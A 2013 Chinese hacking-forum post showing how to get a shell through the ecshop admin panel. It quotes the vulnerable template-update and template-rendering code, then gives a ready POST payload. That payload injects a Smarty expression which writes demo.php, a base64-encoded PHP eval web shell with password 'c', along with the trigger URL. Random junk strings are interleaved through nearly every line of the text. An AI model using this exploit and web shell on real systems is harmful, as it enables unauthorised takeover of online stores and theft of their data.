找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2574|回复: 0
打印 上一主题 下一主题

Ecshop后台getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-11 21:33:56 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板1 a: M7 J2 S6 D5 i9 G: |

: C2 [% V% v0 l5 _6 }而模板里面可以执行他定义的php代码,这样只要可以写出模板 然后找到调用就可以拿到shell了
0 C# p# X" Y" T但是ecshop似乎不支持{php}{/php}这个标签来执行php代码
: j) \1 S3 i) B6 R% ]0 Z" G1 Jadmin/template.php
) x' J5 n) F, a( {
5 j! c! ~( a0 ^1 if ($_REQUEST['act'] == 'update_library') # W& [" `4 F, o7 r9 d& j: S$ Z
/ I& p* n8 ~* A, z6 o
2   
. d' K5 C$ ^# S' C
" Q3 |1 c1 a, Q! {5 _7 z7 f3 {
! f/ ?2 A* z6 \, ~- R4 [) ^3 ~0 M1 C# q  g+ K# i3 e' n; y; s7 j
4     check_authz_json('library_manage'); ' F" n/ p3 E" X/ W/ y: Y0 p# o
( P9 g2 i. L8 B+ y3 w; @5 J! p
5   - P# [6 U- ]2 G

) g. [% y5 d3 ~( ?! U6     $html = stripslashes(json_str_iconv($_POST['html']));   x, H, C2 F: T2 l9 M# Q+ N
" Y% d' ]' F) r8 Z+ _7 n5 v
7   : C2 h7 T% v2 ~3 q/ A5 |$ z5 {

/ s. G  b, B3 f9 W9 n8     $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件 ! c: X9 ]1 z3 V/ f
6 K) B+ ]; \) O$ Q5 r8 p- _
9   
. L$ _  V3 r; m) W- J3 u
) W. k3 G' e: x1 `' S4 \, }10     $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符 1 K; K  E5 A6 O: F: w. h2 R

0 p' G& a, Y( c) O* \11   5 x0 t" U3 M, v$ T

/ Q* {) F2 O/ v8 S$ Y7 R12     $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file));
0 |% Z2 v( M( N$ x6 y
0 Z. Z+ ^- b+ d* H9 y/ v3 }' T13   
0 X' n4 z* p- B) A: p
5 B7 l* t! n; \$ |: E$ P- w, @' N14     if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出
8 ?7 z0 W, p' s: ~3 p% t5 X4 c% F- D; C
% f: J, `  D" J9 I& h0 Y15     { ! |1 Z2 M7 J) }& D+ R$ n
: K" n2 R3 U+ s
16         @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html); 6 w+ j1 Y* o% T) C6 E8 e9 Y

$ u3 c; F! i7 U9 v# b5 n! g17         make_json_result('', $_LANG['update_lib_success']);
6 X: s) A4 d& C8 g
4 b( ^& H6 P2 e+ S  |) N18     }
$ ?7 k* R, w; |- h; [
' r; s8 `; E+ J$ c3 r19     else
8 A" f, d# s: m7 L, D& m& }5 w: Y* A, [# O% a8 ]( s
20     { 6 f$ @1 ]' r  M$ B1 x+ u. ~
: u/ W" a* I+ j. J( v/ O4 G6 [+ I% t
21         make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library'));
& m6 H; H! V! W% }" b5 N" G/ H/ o1 `
22     } # W' S2 H" L& k7 N- Q3 ?

' V0 i# A, B9 e: C( ^, Q7 N23 }
5 @% l4 }  d- D  k5 b4 m( H8 V9 f1 w9 c7 ~8 Q2 M9 j
那么找个比较方便调用了模板的文件
1 g- ?; E% d/ o+ R6 w2 p7 P. h7 qindex.php
4 y( U5 A% E; I5 D
7 b' Z. i4 b: ~. f( ^1 if ($act == 'cat_rec') % X2 k/ a8 l4 W+ y% s% s' Q+ v

* _( g- k' w$ ?5 \  l8 Q: e8 ?) }2   
! S) S; @. H+ b' V+ q! }# n' o0 X, J2 _7 b
3 { . I8 k6 Y1 a: T

! I! s' ~( A; w2 y4   " Q! ?  M/ v0 a2 b1 h' }
: f. A0 X1 ~4 G) n# x  w+ p
5     $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot');
# Z2 h! E! V& i7 W. S+ ^8 j3 Y/ {$ t5 A' N3 a& H
6   
' L7 p; f: _  p4 {9 x( e( K0 t; C% p' H0 M" p4 ]# p3 z
7     $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1';
$ H, I8 {" C4 B1 b0 [4 z5 Q5 ]% D  C. `
8   
0 Y+ X' ]0 }* |
2 A# L, G: l1 B7 D4 E! W* _: I9     $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0';
/ b& O. h3 c8 c: T' m9 F$ X* o2 ?. M$ a( C1 }+ M
10   
7 a* a0 ^' K3 \0 m
: J/ X) k/ I, C1 S* H11     include_once('includes/cls_json.php');
6 |0 f- V9 o% D+ j
% |. |$ T$ m5 m* a8 `12   # j7 U7 W' o! }) N
# {% g* L* ~3 \
13     $json = new JSON;
- V$ _$ x8 N) P  S# S6 l
( h1 H* r. s6 h5 O- t. X14   ; c" U) i' o7 Q' g& s
8 T3 T+ F5 l; j% x. m7 [  J
15     $result   = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id);
8 p! T7 H( l+ K* P% _: G
+ K" b0 x& K& M7 r; m2 D; E16   & v: X, m+ m5 @5 b: v: u+ X5 Y) H
9 ^# i, a+ s1 r; g6 p0 W0 N
17     $children = get_children($cat_id); * M& A' p5 y0 R4 I% f1 b) g" q
; Y: X" i9 i- v, U. e& I# T
18   ( w2 D  O* y8 w8 R4 v0 S& ^

' [$ M0 @6 G5 a19     $smarty->assign($rec_array[$rec_type] . '_goods',      get_category_recommend_goods($rec_array[$rec_type], $children));    // 推荐商品   l/ G( ^( K2 n: m6 S
2 c: |$ M0 A8 S
20   
+ m  [2 F% y: P8 b3 ^: F  ~
, T8 @: z6 \' G1 y21     $smarty->assign('cat_rec_sign', 1); ' D* g* i! q! n; N; i9 G( A
0 S& G* ?( f: q3 g* _
22   & e2 g; ?8 f+ W( \6 K

2 w( E0 O' `& h( z& s23     $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best
+ c% f* Y8 m2 N. r$ z
$ H2 s6 u& K. h) A+ I8 i24   
8 \1 u9 C; f$ I, n0 L$ J% q/ K( S5 Q
( @' m- Q& d1 S: Q25         echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi'; , x+ G. C, Q8 I( J8 M! `; U+ \
. L$ h2 k4 ^: ]' q- m" k9 N9 z* h( k
26   $ _. q4 i& J* O- K
  X, G5 w8 v9 I9 @& m7 S
27         echo $rec_array[$rec_type];
0 b' D$ b1 y7 m- d
9 H: m/ ~* p! n7 w28   ; t! a0 U& A8 O" w0 Q! g0 g+ f

, v' w/ C9 L# Y/ `* T29     die($json->encode($result)); . C5 m. r( Z; {$ O

' j) ^& |$ \( p. w30   5 B: W) A9 {0 m; K
. A4 p+ P- K7 ^- Q
31 } : w) W: ]9 i4 I

9 R; [( N5 y" y) V# H1 e: ~( h# T那么就有利用方法了
* m" ~8 p/ h8 |* gpost包到http://localhost/ec/admin/template.php?act=update_library  \1 C- J) J. D! B
Post内容:8 A4 X, s! E' |

/ v* r0 P/ x, q9 l- ^. Q7 X3 T4 u4 x
1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if}
/ L9 {! @- v4 D) g* u/ `* C$ [+ R6 E) H$ A; `& b
然后访问http://localhost/ec/index.php?act=cat_rec
. x% |# h$ j4 J( }; Y! z! ]! f% n- C* W5 E
shel地址:http://localhost/ec/demo.php) X, R. i. h* o2 _" d6 U0 r
密码c
' o/ @" s+ G& v- i' r9 X3 B$ @9 `7 S& P) D# k9 X' y; h# a3 ]$ f, w% `
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表